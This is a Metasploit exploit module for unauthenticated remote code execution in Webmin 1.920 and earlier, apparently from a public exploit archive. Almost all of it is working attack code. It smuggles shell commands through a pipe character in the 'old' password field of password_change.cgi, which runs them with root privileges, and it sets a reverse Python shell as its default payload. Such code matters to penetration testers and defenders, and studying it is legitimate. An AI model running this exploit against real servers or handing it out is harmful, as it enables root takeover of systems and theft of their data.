Webmin 1.920 - Unauthenticated Remote Code Execution Exploit

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Webmin 1.920 Unauthenticated RCE',
      'Description'    => %q(
        This module exploits an arbitrary command execution vulnerability in Webmin
        1.920 and prior versions. If the password change module is turned on, the unathenticated user
        can execute arbitrary commands with root privileges.
		
        /////// This 0day has been published at DEFCON-AppSec Village. ///////		

      ),
      'Author'         => [
        'AkkuS <Özkan Mustafa Akkuş>' # Discovery & PoC & Metasploit module @ehakkus
      ],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          ['CVE', '2019-'],
          ['URL', 'https://www.pentest.com.tr']
        ],
      'Privileged'     => true,
      'Payload'        =>
        {
          'DisableNops' => true,
          'Space'       => 512,
          'Compat'      =>
            {
              'PayloadType' => 'cmd'
            }
        },
      'DefaultOptions' =>
        {
          'RPORT' => 10000,
          'SSL'   => false,
          'PAYLOAD' => 'cmd/unix/reverse_python'
        },
      'Platform'       => 'unix',
      'Arch'           => ARCH_CMD,
      'Targets'        => [['Webmin <= 1.910', {}]],
      'DisclosureDate' => 'May 16 2019',
      'DefaultTarget'  => 0)
    )
    register_options [
        OptString.new('TARGETURI',  [true, 'Base path for Webmin application', '/'])
    ]
  end

  def peer
    "#{ssl ? 'https://' : 'http://' }#{rhost}:#{rport}"
  end
  ##
  # Target and input verification
  ##
  def check
    # check passwd change priv
    res = send_request_cgi({
      'uri'     => normalize_uri(target_uri.path, "password_change.cgi"),
      'headers' =>
        {
          'Referer' => "#{peer}/session_login.cgi"
        },
      'cookie'  => "redirect=1; testing=1; sid=x; sessiontest=1"
    })

    if res && res.code == 200 && res.body =~ /Failed/
      res = send_request_cgi(
        {
        'method' => 'POST',
        'cookie' => "redirect=1; testing=1; sid=x; sessiontest=1",
        'ctype'  => 'application/x-www-form-urlencoded',
        'uri' => normalize_uri(target_uri.path, 'password_change.cgi'),
        'headers' =>
          {
            'Referer' => "#{peer}/session_login.cgi"
          },
        'data' => "user=root&pam=&expired=2&old=AkkuS%7cdir%20&new1=akkuss&new2=akkuss"        
        })

      if res && res.code == 200 && res.body =~ /password_change.cgi/
        return CheckCode::Vulnerable
      else
        return CheckCode::Safe
      end
    else
      return CheckCode::Safe
    end
  end

  ##
  # Exploiting phase
  ##
  def exploit

    unless Exploit::CheckCode::Vulnerable == check
      fail_with(Failure::NotVulnerable, 'Target is not vulnerable.')
    end

    command = payload.encoded
    print_status("Attempting to execute the payload...")
    handler
    res = send_request_cgi(
      {
      'method' => 'POST',
      'cookie' => "redirect=1; testing=1; sid=x; sessiontest=1",
      'ctype'  => 'application/x-www-form-urlencoded',
      'uri' => normalize_uri(target_uri.path, 'password_change.cgi'),
      'headers' =>
        {
          'Referer' => "#{peer}/session_login.cgi"
        },
      'data' => "user=root&pam=&expired=2&old=AkkuS%7c#{command}%20&new1=akkuss&new2=akkuss"
      })

  end
end